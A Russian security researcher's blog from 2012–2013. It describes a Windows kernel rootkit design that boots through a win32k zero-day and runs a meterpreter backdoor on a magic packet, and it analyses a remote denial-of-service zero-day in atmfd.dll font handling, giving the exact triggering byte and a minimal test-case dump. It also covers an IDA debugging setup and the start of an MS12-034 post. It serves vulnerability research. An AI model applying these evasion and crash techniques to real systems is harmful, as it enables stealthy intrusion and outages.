суббота, 5 января 2013 г.

Выступление на ZeroNights 2012

Некоторое время назад я выступил на конференции ZeroNights 2012 c докладом про то, как может быть устроен Windows руткит режима ядра для целевых атак.

Для хранения вредоносного кода я решил использовать параметры системного реестра, и реализовать руткиты таким образом, что бы на стадии установки в систему, кроме нескольких параметров реестра, они ничего не модифицировали. В результате такого решения предо мной стала задача о том, как исполнить нечто (находящееся в системном реестре) как машинный код на этапе загрузки операционной системы.

В качестве решений для этой задачи было найдено и опробовано несколько возможных вариантов:
  • Передача управления на код руткита путём модификации DSDT таблицы ACPI, которая записывается ACPI-драйвером Windows для долгосрочного хранения именно в системный реестр.
  • Передача управления на вредоносный код путём эксплуатации уязвимости нулевого дня в компонентах режима ядра Windows, связанной с некорректной обработкой данных которые были получены из системного реестра.

Первый вариант в последствии был отклонен в связи с его принципиальной неработоспособностью на NT 6.x, а второй - получил развитие в виде вполне функционального руткита, умеющего следующее:
  • Использует уязвимость нулевого дня в win32k.sys (переполнение буфера на стеке в функции  win32k!bInitializeEUDC() из-за небезопасного использования nt!RtlQueryregistryValues()) для того что бы получить управление на этапе загрузки ОС.
  • Устанавливает сетевой бекдор, основанный на NDIS перехватах. Код руткита ищет во входящем трафике магическую последовательность и при её нахождении запускает на исполнение meterpreter/bind_tcp (из состава Metasploit Frameowrk) в контексте процесса пользовательского режима.
  • Для обхода детектирования неизвестного исполняемого кода в памяти со стороны анти-руткит утилит используется перемещение кода руткита в discardable-секции стандартных драйверов Windows.
  • Не детектируется доступными публично анти-руткит утилитами (правда, после того как я связался с автором wincheck - в него было добавлено детектирование NDIS перехватов моего руткита).
  • Работает на Windows 7 (SP0, SP1) x86.


Схема эксплуатации уязвимости для запуска кода руткита выглядит следующим образом:



Более подробную информацию можно почерпнуть из слайдов с выступления:
http://dl.dropbox.com/u/22903093/Applied-anti-forensics.pdf

Исходный код руткита доступен на GitHub:
https://github.com/Cr4sh/WindowsRegistryRootkit

понедельник, 2 июля 2012 г.

VMware + GDB stub + IDA

Многим известно, что в системе виртуализации VMware Worstation с самых незапамятных времен существует стандартный GDB интерфейс для удалённой отладки, однако, мало кто пользуется ним в повседневной работе в силу того, что отладку в "голом" GDB тяжело назвать удобной. Однако, в роли вполне вменяемого клиента для отладочного интерфейса GDB может выступать IDA Pro, в которой соответствующий функционал был добавлен ещё в 5-й ветке, но работать должным образом и без багов начал только в 6.0.
Отладка гостевой операционной системы Windows c использованием связки VMware + GDB stub + IDA бывает незаменимой когда приходится иметь дело с детектированием удалённых отладчиков ядра, отладкой PatchGuard, отладкой процесса загрузки ОС а так же критического кода (например, векторов прерываний) который по тем или иным причинам тяжело отлаживать с помощью WinDbg.
Очевидно, что отладочный интерфейс гипервизора ничего не знает о среде запущенной на нем  операционной системы Windows сам по себе, поэтому, для комфортной отладки с использованием VMware + GDB stub требуется некоторая настройка IDA Pro как debug клиента. В Hex Blog, в своё время, была опубликована заметка с описанием подобной настройки, к которой прилагался скрипт vmware_modules.py, который осуществляет:

  • Нахождение nt!PsLoadedModuleList и перечисление всех загруженных в настоящий момент модулей режима ядра, с последующим созданием сегментов для каждого из них.
  • Загрузку отладочных символов для всех найденных модулей.

Из-за ряда ошибок и недоработок в оригинальном скрипте, который не позволял нормально работать с ним - я решил его переписать, внеся следующие изменения:

  • Переписан алгоритм нахождения nt!PsLoadedModuleList. Оригинальный скрипт использовал базу сегмента FS для доступа к структуре _KPCR, что является не лучшей идеей: на остановленной в случайное время виртуальной машине в FS может быть загружен как user-mode, так и kernel-mode селектор, а поскольку в режиме пользователя FS указывает на совсем другую структуру (_TEB) - очень часто скрипт vmware_modules.py попросту не срабатывал. Вместо этого я реализовал поиск адреса nt!PsLoadedModuleList по сигнатуре в исполняемом образе ядра, адрес загрузки которого, в свою очередь, находится путём анализа векторов прерываний.
  • Добавлена полная поддержка Windows x64, отсутствовавшая в оригинальном скрипте. Поскольку стандартный способ для определения разрядности debug target-а через idainfo.is_32bit() / idainfo.is_64bit() на моей версии IDA Pro и IDAPython не работал (соответствующие функции всегда возвращали False) - я реализовал данный функционал путём небольшого хака с проверкой значения старших 24-х бит базы IDT.
  • Исправлены ошибки с загрузкой отладочных символов для модулей, чей полный путь не соответствует формату \SystemRoot\System32\<some_path>.

Моя версия скрипта доступна для загрузки в репозитории на GitHub:
https://github.com/Cr4sh/IDA-VMware-GDB

Необходимые шаги по настройке:

  1. Установить IDA Pro от 6.0 и старше и актуальную версию IDAPython для неё.
  2. Отредактировать .vmx файл виртуальной машины, добавив в него строчку debugStub.listen.guest32 = "TRUE" для 32-х разрядных гостевых операционных систем или debugStub.listen.guest64 = "TRUE" для 64-х разрядных.
  3. Для успешной загрузки отладочных символов необходимо скопировать директорию %SystemRoot%\system32 из гостевой операционной системы в хостовую, и указать путь к ней в переменной SYSTEM32_COPY_PATH внутри скрипта IDA-VMware-GDB.py.
  4. После запуска гостевой операционной системы в VMware Workstation можно в любое время подключить к виртуальной машине удалённый отладчик, для чего в IDA Pro следует выбрать пункт главного меню "Debugger" → "Attach" → "Remote GDB Debugger", указав номер порта 8832 для 32-х разрядного debug target-а или 8864 для 64-х разрядного. При этом IDA и GDB stub не конфликтуют с удалённой отладкой ядра Windows с помощью WinDbg и использовать с виртуальной машиной можно оба отладчика одновременно.


После выполнения данных шагов и запуска скрипта IDA-VMware-GDB.py становится возможной навигация между загруженными в память модулями режима ядра:


А так же навигация по именам, которые были получены из отладочных символов:


вторник, 12 июня 2012 г.

Удалённый 0day в ядре Windows: вы ещё не забыли уязвимости при обработке шрифтов?

Данной записью я продолжаю начатый ранее экскурс в legacy-мусор графической подсистемы Windows и уязвимости нулевого дня в ней. На этот раз речь пойдёт об уязвимостях, связанных с обработкой шрифтов. Вообще данный вектор сложно назвать новым, в ядре Windows уже неоднократно находили подобные уязвимости, среди них наиболее известными являются MS11-077 и MS11-087, подробный анализ которых можно найти в документе «GDI Font Fuzzing in Windows Kernel for Fun».

Операционная система Windows поддерживает как растровые, так и векторные шрифты. Растровые шрифты представляют собой файлы формата Microsoft Windows Bitmapped Font с расширением .FON, в качестве контейнера для хранения данных шрифта используется формат Portable Executable (обычные PE-файлы, так же как и в случае с клавиатурными раскладками). В неправильной обработке шрифтов такого формата, которая приводит к переполнению пула в ядре, и заключается уязвимость MS11-077.

Векторные шрифты Windows в качестве контейнера используют формат OpenType, а относительно формата хранимых в контейнере данных такие шрифты делятся на два класса: TrueType-based (файлы с расширением .TTF) и PostScript-based (файлы с расширением .OTF). Спецификация на OpenType и TrueType форматы доступна на сайте Microsoft-а. Эксплойт для уязвимости MS11-087, при обработке TrueType-based шрифтов, использовался в черве Duqu.

Вообще, на поиск других уязвимостей при обработке шрифтов меня (да и, наверняка, многих других исследователей) подвигли именно MS11-077 и MS11-087. Из-за простоты проработки данного вектора (которая диктуется относительно несложными форматами) я не рассчитывал на существенный успех, и сосредоточился, главным образом, на PostScript-based шрифтах, в коде обработки которых мне и удалось найти неизвестную ранее remote DoS уязвимость.

OpenType контейнер и обработка шрифтов в Windows


Данный формат описан в главе «TrueType Font File» документа «TrueType Specification». Его структура включает в себя последовательно идущие друг за другом заголовок, таблицу директорий и, собственно, сами директории:




Заголовок имеет следующий вид:

typedef struct _OTF_FILE_HEADER
{
    ULONG sfntVersion;      // 0x00010000 for version 1.0.
    USHORT numTables;       // Number of tables.
    USHORT searchRange;     // (Maximum power of 2 <= numTables) x 16.
    USHORT entrySelector;   // Log2(maximum power of 2 <= numTables).
    USHORT rangeShift;      // NumTables x 16-searchRange.

} OTF_FILE_HEADER,
*POTF_FILE_HEADER;

Наиболее важным для реализации фаззера полем является numTables, которое содержит количество записей в таблице директорий. Каждая такая запись имеет следующую структуру:

typedef struct _OTF_TABLE_HEADER
{
    ULONG tag;      // 4-byte identifier.
    ULONG checkSum; // CheckSum for this table.
    ULONG offset;   // Offset from beginning of TrueType font file.
    ULONG length;   // Length of this table.

} OTF_TABLE_HEADER,
*POTF_TABLE_HEADER;

Идентификатор tag представляет собой 4 ASCII символа, которые являются именем таблицы (например: head, hhea, maxp, OS/2, name, cmap, post, CFF, hmtx). Именно по этому имени код обрабатывающий файл шрифта определяет, какие данные находятся в данной таблице (описания глифов, метаинформация, цифровая подпись и многое другое). Всего типов таблиц существует около двух десятков. Загрузчик шрифтов проверяет контрольные суммы таблиц, которые хранятся в поле checkSum, если контрольная сумма не совпадает – то такой файл шрифта обработан не будет.

Код подсчёта контрольной суммы для данных, хранящихся в таблице:

ULONG OTF_CalcTableChecksum(ULONG *Table, ULONG Length)
{
    ULONG Sum = 0;
    ULONG nLongs = (ALIGN_UP(Length, sizeof(ULONG))) / sizeof(ULONG);

    for (ULONG i = 0; i < nLongs; i++, Table++)
    {
        Sum += htonl(*Table);
    }

    return Sum;
}

Для загрузки произвольного шрифта в Windows используются API функции AddFontResource() и AddFontresourceEx(), которые в качестве параметра принимают путь к файлу шрифта. На низком уровне этим функциям соответствуют системные вызовы графической подсистемы win32k!NtGdiAddFontResourceW() и win32k!NtGdiAddFontMemResourceEx(). Последний позволяет загрузить шрифт не только из файла на диске, но так же из буфера в памяти.

За обработку TrueType-based шрифтов отвечает код непосредственно графической подсистемы, находящийся в исполняемом модуле win32k.sys, но обработка PostScript-based шрифтов вынесена в динамическую библиотеку %SystemRoot%\system32\atmfd.dll, разработчиком которой, согласно информации о версии, является компания Adobe:




Эта библиотека имеет один и тот же номер версии на всех актуальных версиях Windows, начиная с XP. Загрузка atmfd.dll осуществляется на этапе инициализации графической подсистемы в коде win32k!InitializeGreCSRSS() c помощью функции win32k!bEnableFontDriver():

loc_BF88BF89: ; CODE XREF: InitializeGreCSRSS()+B92

    push    4
    push    offset _atmfdEnableDriver@12 ; __int32 (__stdcall *)()
    call    ?bEnableFontDriver@@YGHP6GJXZK@Z ; bEnableFontDriver(long (*)(void),ulong)
    test    eax, eax
    jz      short loc_BF88BFF8

Для вызова того или иного кода из atmfd.dll графическая подсистема использует функции-переходники, адреса которых хранятся в глобальном массиве win32k!atmfdCallBlock():

_atmfdCallBlock ; DATA XREF: atmfdEnableDriver(x,x,x)+16o

    dd 0
    dd offset _atmfdEnablePDEV@44 ; atmfdEnablePDEV(x,x,x,x,x,x,x,x,x,x,x)
    dd 2
    dd offset _atmfdDisablePDEV@4 ; atmfdDisablePDEV(x)
    dd 1
    dd offset __SetDbgTag@8 ; _SetDbgTag(x,x)
    dd 2Dh
    dd offset _atmfdLoadFontFile@28 ; atmfdLoadFontFile(x,x,x,x,x,x,x)
    dd 2Ch
    dd offset _atmfdQueryFontCaps@8 ; atmfdQueryFontCaps(x,x)
    dd 2Eh
    dd offset _atmfdUnloadFontFile@4 ; atmfdUnloadFontFile(x)
    dd 33h
    dd offset _atmfdQueryFontFile@16 ; atmfdQueryFontFile(x,x,x,x)
    dd 1Ah
    dd offset _atmfdQueryFont@16 ; atmfdQueryFont(x,x,x,x)
    dd 2Ah
    dd offset _atmfdFree@8  ; atmfdFree(x,x)
    dd 1Bh
    dd offset _atmfdQueryFontTree@20 ; atmfdQueryFontTree(x,x,x,x,x)
    dd 1Ch
    dd offset _atmfdQueryFontData@28 ; atmfdQueryFontData(x,x,x,x,x,x,x)
    dd 2Bh
    dd offset _atmfdDestroyFont@4 ; atmfdDestroyFont(x)
    dd 35h
    dd offset _atmfdQueryAdvanceWidths@24 ; atmfdQueryAdvanceWidths(x,x,x,x,x,x)
    dd 31h
    dd offset _atmfdQueryTrueTypeOutline@28 ; atmfdQueryTrueTypeOutline(x,x,x,x,x,x,x)
    dd 30h
    dd offset _atmfdQueryTrueTypeTable@32 ; atmfdQueryTrueTypeTable(x,x,x,x,x,x,x,x)
    dd 18h
    dd offset _atmfdEscape@24 ; atmfdEscape(x,x,x,x,x,x)
    dd 2Fh
    dd offset _atmfdFontManagement@28 ; atmfdFontManagement(x,x,x,x,x,x,x)
    dd 32h
    dd offset _atmfdGetTrueTypeFile@8 ; atmfdGetTrueTypeFile(x,x)
    dd 56h
    dd offset _atmfdQueryGlyphAttrs@8 ; atmfdQueryGlyphAttrs(x,x)

Отладочные символы к библиотеке atmfd.dll отсутствуют, она имеет размер около 300Кб и содержит в себе 837 функций. В коде atmfd.dll обильно встречается вывод различных диагностических сообщений об ошибках следующего вида:

push    offset aOp_spOp_stk ; "op_sp >= op_stk"
push    offset aUnderflowOfTyp ; "underflow of Type 1 operand stack"
push    117Bh
push    offset aDNtWindowsCo_6 ; "d:\\nt\\windows\\core\\ntgdi\\fondrv\\otfd\\bc"...
push    offset aSDSS    ; "%s:%d: %s (%s)\n"
push    offset word_427FC
call    nullsub_52

Однако функция, осуществляющая вывод этих сообщений, в связи с особенностью Release-сборки представляет собой ничего не делающую пустышку. Перенаправить вывод этих сообщений в удалённый отладчик ядра можно путём установки следующей точки останова:

kd> ba e1 atmfd+15384 "kb L1;da poi(esp+c);da poi(esp+14);g"

Диагностические сообщения могут быть полезными при фаззинге и анализе его результатов:




Фаззинг


Так как тратить много времени на несколько заезженный вектор было неразумно – искать уязвимости при обработке PostScript-based шрифтов я решил методом примитивного мутационного фаззинга. Разработанный мной фаззер, разумеется, осуществлял корректный пересчёт контрольных сумм для содержимого таблиц OpenType контейнера, а во всём остальном – был основан на базе инструмента MutateGen, о котором я когда-то писал в контексте фаззинга формата архивов. Итератор (код, который осуществляет «запуск» сгенерированного набора тестовых данных) был встроен в сам фаззер, и представлял собой вариацию на тему API функций AddFontResource() и DrawText().

Касательно реализации итератора у меня есть некоторые общие замечания. В книге «iOS Hacker’s Handbook», которую я сейчас читаю (а так же во многих других подобной тематики), содержатся рекомендации по реализации итератора вида «передайте сгенерированную фаззером единицу данных тестируемому приложению, подождите N секунд, после чего насильно завершите его процесс». На мой взгляд, подобный подход – несколько бестолковый. Так как количество итераций, которые ваш сетап для фаззинга может производить в течении некоторого интервала времени, самым непосредственным образом влияют на эффективность фаззинга – разумно минимизировать время проведения одной итерации всеми возможными средствами, а именно – завершать работу тестируемого приложения не по истечению фиксированного количества времени, а ровно в тот момент, когда оно закончило загрузку и обработку тестовых данных. Для отслеживания этого момента можно использовать как легитимные средства (например, различные API и плагины) так и хаки, вроде внесения собственных модификаций в исходный код или исполняемый файл тестируемого приложения.

В итераторе своего фаззера шрифтов, для отслеживания момента окончания загрузки шрифта, я использовал особенности естественного поведения очереди оконных сообщений в Windows:
  1. При создании окна с помощью API функции CreateWindowEx() система посылает в его оконную процедуру сообщения типа WM_PAINT.
  2. Сразу после создания окна код фаззера отправляет ему сообщение типа WM_COMMAND.
  3. При получении сообщения WM_PAINT оконная процедура инициирует вывод текста с использованием модифицированного фаззером шрифта. Для этого вызываются API функции CreateFontIndirect() и DrawText().
  4. Так как синхронные оконные сообщения доставляются оконной процедуре в порядке добавления их в очередь – после WM_PAINT оконная процедура получает сообщение WM_COMMAND, обработка которого заключается в закрытии окна и завершении тестовой итерации. Загрузка шрифта и вывод текста в этот момент уже завершились.
Фаззер представляет собой приложение, запускаемое из командной строки:

> MsFontsFuzz.exe <font_name> <font_file_path> [options]

... где <font_name> и <font_file_path> – имя шрифта и путь к его файлу. В качестве опций можно указывать следующие опциональные ключи:

--test – вывод символов указанного шрифта без фаззинга.

--text – строка, которая будет выведена с использованием указанного шрифта, по умолчанию используется строка ASCII символов в диапазоне 20h – 7Fh.

--noisy – выводить в консоль информацию о каждой итерации.

--fix_crcs – исправление неправильных контрольных сумм в указанном файле шрифта.

Так же поддерживаются ключи управления режимом генерации некорректных данных (-FILE_RANGE_START, -FILE_RAGE_END, -BLOCK_SIZE, -BLOCK_RANGE_START, -BLOCK_RANGE_END и -BLOCK_RANGE_N) которые соответствуют таковым у упоминавшегося выше инструмента MutateGen.



В качестве исходных данных для мутационного генератора я выбрал шрифты Brush Script Std Regular, Hobo Std Medium и несколько других. Так как публичных инструментов для анализа покрытия кода в режиме ядра не существует – этот выбор был интуитивным, исходя из критериев наименьшего размера файла шрифта при наибольшем количестве директорий разных типов в нём.

Уязвимость


В процессе фаззинга c использованием шрифтов Brush Script Std Regular и Hobo Std Medium несколько раз обнаруживалось полное «зависание» тестовой виртуальной машины с последующим вылетом в удалённый отладчик режима ядра по срабатыванию watchdog-а:

*******************************************************************************
*                                                                             *
*  The watchdog detected a timeout condition. We broke into the debugger to   *
*  allow a chance for debugging this failure.                                 *
*                                                                             *
*  Normally the system will try to recover from this failure and return to a  *
*  VGA graphics mode.  To disable the recovery feature edit the watchdog      *
*  variable WdDisableRecovery.  This will allow you to debug your driver.     *
*  i.e. execute ed watchdog!WdDisableRecovery 1.                              *
*                                                                             *
*  Intercepted bugcheck code and arguments are listed below this message.     *
*  You can use them the same way as you would in case of the actual break,    *
*  i.e. execute .thread Arg1 then kv to identify an offending thread.         *
*                                                                             *
*******************************************************************************
 
*** Intercepted Fatal System Error: 0x000000EA
    (0x823D8920,0x82809008,0x82954E78,0x00000001)
 
Driver at fault: vmx_fb
 
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPoint:
80527c00 cc              int     3
kd> .thread 0x823D8920
Implicit thread is now 823d8920
kd> kb
ChildEBP RetAddr  Args to Child             
b194f694 806d3ca4 00000000 b194fdf0 8054160d nt!KiDispatchInterrupt+0x7f
b194f6a0 8054160d 00c60b00 00000162 b194fdf0 hal!HalEndSystemInterrupt+0x54
b194f6a0 bf1b4dbc 00c60b00 00000162 b194fdf0 nt!KiInterruptDispatch+0x4d
*** ERROR: Module load completed but symbols could not be loaded for ATMFD.DLL
WARNING: Stack unwind information not available. Following frames may be wrong.
b194fdf0 bf1b6f4a e1326868 bf1c4828 b1950028 ATMFD+0x2adbc
b194fea8 bf1aaf74 e1326868 bf1c4828 b1950028 ATMFD+0x2cf4a
b194ff88 bf1ab013 e1326868 b1950028 b19500ac ATMFD+0x20f74
b194ffb4 bf19c38f e1326868 bf1c4828 b1950028 ATMFD+0x21013
b195011c bf19c77a ffffffff b1950220 e12acb58 ATMFD+0x1238f
b1950168 bf18d386 ffffffff b1950220 00000000 ATMFD+0x1277a
b19501c0 bf83a9db e1a91010 e12abd08 00000001 ATMFD+0x3386
b19501f0 bf83ac37 e1a91010 e12abd08 00000001 win32k!PDEVOBJ::QueryFontData+0x3c
b1950268 bf807b15 b19505d0 e13df344 00000063 win32k!xInsertMetricsPlusRFONTOBJ+0xc4
b195029c bf812b58 00000001 b1950644 7ffde22c win32k!RFONTOBJ::bGetGlyphMetricsPlus+0x180
b19502d0 bf812624 b1950858 b19505d0 00002128 win32k!ESTROBJ::vCharPos_H3+0xee
b1950314 bf8118da 7ffde22c 00000001 b1950858 win32k!ESTROBJ::vInit+0x257
b19505b8 bf813031 b1950858 000000ed 00000000 win32k!GreExtTextOutWLocked+0x666
b1950720 bf80c6c7 b1950858 7ffde1dc 00000058 win32k!GreBatchTextOut+0x344
b1950874 8053d6aa 00000091 00a8fabc 00a8fadc win32k!NtGdiFlushUserBatch+0x11b
b19508a4 bf80555e bf80556b 00000000 00a80000 nt!KiFastCallEntry+0xca
b19508ac 00000000 00a80000 7c900023 badb0023 win32k!HmgDecProcessHandleCount+0x2e

Уязвимость стабильно воспроизводилась в результате модификации фаззером одного из байтов в директории CFF. Всего подобных смещений, изменения байта по которым приводили к триггерингу уязвимости, обнаружилось несколько штук для каждого из шрифтов. Одно из них:




В директории CFF, согласно документации, находятся данные в формате Compact Font Format, спецификация на который предоставляется компанией Adobe. Внутри CFF контейнера содержится векторное описание глифов для символов шрифта в формате Post Script Type 2 Character String Format, который так же описан в документе «The Type 2 Charstring Format»:




Формат CFF организован в отдельные структуры данных, которые содержат описания поддерживаемых данным шрифтом символов, вектора для построения глифов, метаинформацию и прочее. Доступ к глифам осуществляется через таблицы кодирования, которые устанавливают соответствие между глифами и кодами символов. Эти таблицы представлены в виде 3-х параллельных массивов (код символа, имя символа, глиф) с общим индексом.

Для работы с PostScript шрифтами Adobe предоставляет пакет Font Development Kit, в который входит ряд полезных программ, позволяющих разбирать и собирать обратно PostScript шрифты. Для локализации некорректных данных я сделал текстовые дампы содержимого для нормального и сгенерированного фаззером шрифта с помощью утилиты tx.exe, после чего сравнил их diff-ом:

> fdk-2.5\Tools\win\tx.exe -dcf BrushScriptStd.otf > BrushScriptStd.txt
> fdk-2.5\Tools\win\tx.exe -dcf BrushScriptStd_0000298f.otf > BrushScriptStd_0000298f.txt
> diff -u BrushScriptStd.txt BrushScriptStd_0000298f.txt
--- BrushScriptStd.txt     Fri Jun 08 14:56:35 2012
+++ BrushScriptStd_0000298f.txt Fri Jun 08 17:06:00 2012
@@ -1249,7 +1249,8 @@
 [68]={
   -40 -13 88 310 -20 hstem
   -3 73 14 callsubr
-  95 112 99 65 61 vhcurveto
+  95 112 99 65 reserved13
+  vhcurveto
   32 callsubr
 }

Дампы доступны для загрузки по следующим ссылкам: BrushScriptStd_0000298f.txt, BrushScriptStd.txt

Как видно, модификация фаззером значения байта по смещению 298Fh из C8h в 0Dh привела к тому, что описание глифа #68 (в шрифте Brush Script Std ему соответствует прописная латинская литера «с») изменилось с:

[68]={
  -40 -13 88 310 -20 hstem
  -3 73 14 callsubr
  95 112 99 65 61 vhcurveto
  32 callsubr
}

… на:

[68]={
  -40 -13 88 310 -20 hstem
  -3 73 14 callsubr
  95 112 99 65 reserved13
  vhcurveto
  32 callsubr
}

Что и привело к аномальному поведению atmfd.dll при обработке шрифта.

Обратимся к документации на Type 2 Charstring Format, что бы разобраться в формате глифов и выяснить причину уязвимости. Charstring-данные представляют собой массив байтов, каждый из которых может декодироваться либо как оператор (hstem, callsubr, vhcurveto и другие на листингах выше), либо как числовой аргумент (-40, -13, 88, 310, -20 и так далее) в зависимости от того, в каком диапазоне лежит значение этого байта:




Данные оригинального шрифта, имеющие HEX-представление F7h 04h EEh CCh C8h 1Eh, декодируются в команду |dy1 dx2 dy2 dx3 dyf vhcurveto| которая строит к текущей точке кривую Безье по двум касательным, которые указаны в качестве операндов. Операнд dyf (глубина изгиба кривой), в модифицированном фаззером шрифте имеет значение 0Dh, в результате чего atmfd.dll ошибочно декодирует этот байт в зарезервированный оператор под номером 13:




Для более удобного анализа уязвимости из сгенерированного фаззером шрифта я собрал минимальный тестовый кейс, с помощью которого можно воспроизвести найденную уязвимость. Для редактирования шрифтов была использована другая утилита из состава Font Development Kit, ttx.exe, которая позволяет преобразовать .OTF файл шрифта в XML представление, и генерировать из модифицированного XML документа новый .OTF файл.

Модификации для получения минимального тестового кейса свелись к следующему:
  1. Убрана вся метаинформация.
  2. Оставлен только один глиф.
  3. Оригинальные команды Type 2 Charstring Format были изменены путём свёртки вызовов процедур (оператор callsubr) и удаления тех инструкций, которые не влияют на воспроизведение уязвимости.
В результате текстовый дамп полученного файла шрифтов упростился до следующего вида:

### Header (00000700-00000703)
major  =1
minor  =0
hdrSize=4
offSize=4
### Name INDEX (00000704-0000071c)
--- object[index]={value}
[0]={CFF_Type-1_0x0d_expl}
### Top DICT INDEX (0000071d-0000074c)
--- object[index]={value}
[0]={
  423 version
  424 Notice
  425 FullName
  426 FamilyName
  387 Weight
  -14 ItalicAngle
  -184 -280 1328 882 FontBBox
  465 charset
  28 1271 Private
  472 CharStrings
}
### String INDEX (0000074d-000008cc)
--- object[index]={value}
[391]={f_i}
[392]={Omega}
[393]={pi}
[394]={Euro}
[395]={estimated}
[396]={partialdiff}
[397]={product}
[398]={summation}
[399]={uni2219}
[400]={radical}
[401]={infinity}
[402]={integral}
[403]={approxequal}
[404]={notequal}
[405]={lessequal}
[406]={greaterequal}
[407]={lozenge}
[408]={uni02C9}
[409]={uni00AD}
[410]={uni03A9}
[411]={uni00A0}
[412]={afii61289}
[413]={uni03BC}
[414]={uni2215}
[415]={f_l}
[416]={a.superior}
[417]={o.superior}
[418]={one.superior}
[419]={two.superior}
[420]={three.superior}
[421]={uni2206}
[422]={uni2010}
[423]={002.000}
[424]={}
[425]={CFF_Type-1_0x0d_expl Medium}
[426]={CFF_Type-1_0x0d_expl}
### GlobalSubrINDEX (000008cd-000008ce)
empty
### Encoding ........ (Standard)
### Charset (000008d1-000008d7)
format=1
--- Range1[index]={first,nLeft}
[0]={1,227}
[1]={391,31}
### CharStrings INDEX (000008d8-00000bf6)
--- object[index]={value}
[0]={
  endchar
}
[1]={
  endchar
}
 
# ... SKIPPED ...
 
[68]={
  -74 37 -72 77 95 112 99 65 reserved13
  vhcurveto
  endchar
}
 
# ... SKIPPED ...
 
[260]={
  endchar
}
### Private DICT (00000bf7-00000c12)
  -20 20 683 23 -333 23 247 9 BlueValues
  -265 23 OtherBlues
  88 StdHW
  88 StdVW
  565 defaultWidthX
  399 nominalWidthX
  28 Subrs
### Local Subr INDEX (00000c13-00000c14)
Empty

XML представление, которое использовалось для редактирования шрифта: CFF_Type-1_0x0d_expl.ttx

Далее была произведена трассировка кода atmfd.dll при обработке минимального тестового кейса. При загрузке atmfd.dll в дизассемблер, основная функция, обрабатывающая байты глифа, сразу бросается в глаза: она находится по адресу ATMFD+0x288ca и имеет размер машинного кода порядка 17-ти килобайт. В коде функции неоднократно встречаются константы и арифметические операции декодирования байтов, которые описаны в документации на Type 2 Charstring Format. Установим точку останова на ту инструкцию, которая читает байт из описывающего глиф массива для последующего декодирования:

kd> u ATMFD+0x28f83
ATMFD+0x28f83:
bf1b2f83 8b857cffffff    mov     eax,dword ptr [ebp-84h]
bf1b2f89 0fb638          movzx   edi,byte ptr [eax]
bf1b2f8c ff857cffffff    inc     dword ptr [ebp-84h]
kd> db @eax
00c80b2b  41 b0 43 d8 ea f7 04 ee-cc 0d 1e 0e 0e 0e 0e 0e  A.C.............
00c80b3b  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................
00c80b4b  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................
00c80b5b  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................

Регистр eax указывает на область памяти, в которой находится глиф. Когда цикл получения байт из буфера доходит до кода операции 0Dh, из-за ошибки при его декодировании указатель текущей позиции буфера перемещается на несколько десятков байт выше (0x00c80b09):

ATMFD+0x28f89:
bf1b2f89 0fb638          movzx   edi,byte ptr [eax]
kd> db @eax
00c80b09  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................
00c80b19  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................
00c80b29  0e 0e 41 b0 43 d8 ea f7-04 ee cc 0d 1e 0e 0e 0e  ..A.C...........
00c80b39  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................

... где находится код операнда 0Eh (endchar), после обработки которого указатель текущей позиции вновь перемещается на начало глифа (0x00c80b2b), из-за чего процедура впадает в бесконечный цикл.

Таким образом, найденную мной уязвимость можно классифицировать как Remote DoS – по итогам исследования кода atmfd.dll не было выявлено ошибок, которые могли бы привести к повреждению памяти или контролю над EIP. На компьютерах с Windows XP / Server 2003 обработка зловредного шрифта приводит к аварийному завершению работы системы:




На Windows Vista и старше результатом воспроизведения уязвимости является 100% загрузка одного из ядер процессора, опять же, без возможности каким-либо образом завершить процесс, который инициировал загрузку зловредного шрифта:




Уязвимости подвержены все актуальные версии Windows (как x32, так и x64). Уязвимость может быть воспроизведена из-под учётной записи с любым уровнем привилегий. Для удалённой атаки зловредный шрифт можно встроить в web-страницу или документ (червь Duqu использовал документ Microsoft Word формата .DOCX для проведения схожей атаки).

Links


Размер минимизированного .OTF файла шрифта составляет 4Кб. Архив доступен для загрузки.

Исходные тексты и исполняемые файлы фаззера доступны в репозитории на GitHub.

пятница, 18 мая 2012 г.

Post MS12-034 0day: не все патчи одинаково полезны

В начале этого месяца Microsoft выпустила бюллетень безопасности MS12-034, который сообщает о целых 10-ти совершенно разношерстных уязвимостях, среди которых присутствует даже старая и давно известная уязвимость в обработке TTF шрифтов (CVE-2011-3402). Разнообразие упомянутых в бюллетене продуктов объясняется тем, что очень похожий уязвимый код использовался в разных бинарных модулях.

Помимо всего прочего закрыли так же и уязвимость CVE-2012-0181 – повышение привилегий в коде win32k.sys, который отвечает за загрузку клавиатурных раскладок. О странной ситуации с этой уязвимостью и неадекватной реакции вендора я хочу рассказать в данной заметке.

Немного истории

Реализация поддержки клавиатурных раскладок в Windows, как и большая часть кода в win32k.sys, содержит в себе целую массу сомнительных решений. Их корни, вероятно, тянутся к тем сильным архитектурным изменениям, которые претерпевала графическая подсистема Windows во времена ранних версий NT. Клавиатурная раскладка представляет собой обыкновенный PE-файл, в секции .data которого хранится вся необходимая информация. Стандартные раскладки находятся в директории %SystemRoot%\system32, с префиксами KBD* (например – KBDUS.DLL). Полный список зарегистрированных раскладок хранится в ключе реестра HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layouts\{LAYOUT_ID}, где {LAYOUT_ID} – уникальный идентификатор конкретной раскладки. Их загрузка осуществляется с помощью функции LoadKeyboardLayout():

HKL WINAPI LoadKeyboardLayout(
  __in  LPCTSTR pwszKLID,
  __in  UINT Flags
);

В качестве значения параметра pwszKLID она принимает идентификатор раскладки, которую следует загрузить. Этой функции, в свою очередь, соответствует системный вызов win32k!NtUserLoadKeyboardLayoutEx(), который, для Windows XP, выглядит следующим образом:
HKL WINAPI NtUserLoadKeyboardLayoutEx(
    HANDLE Handle,
    DWORD offTable,
    PUNICODE_STRING puszKeyboardName,
    HKL hKL,
    PUNICODE_STRING puszKLID,
    DWORD dwKLID,
    UINT Flags
);

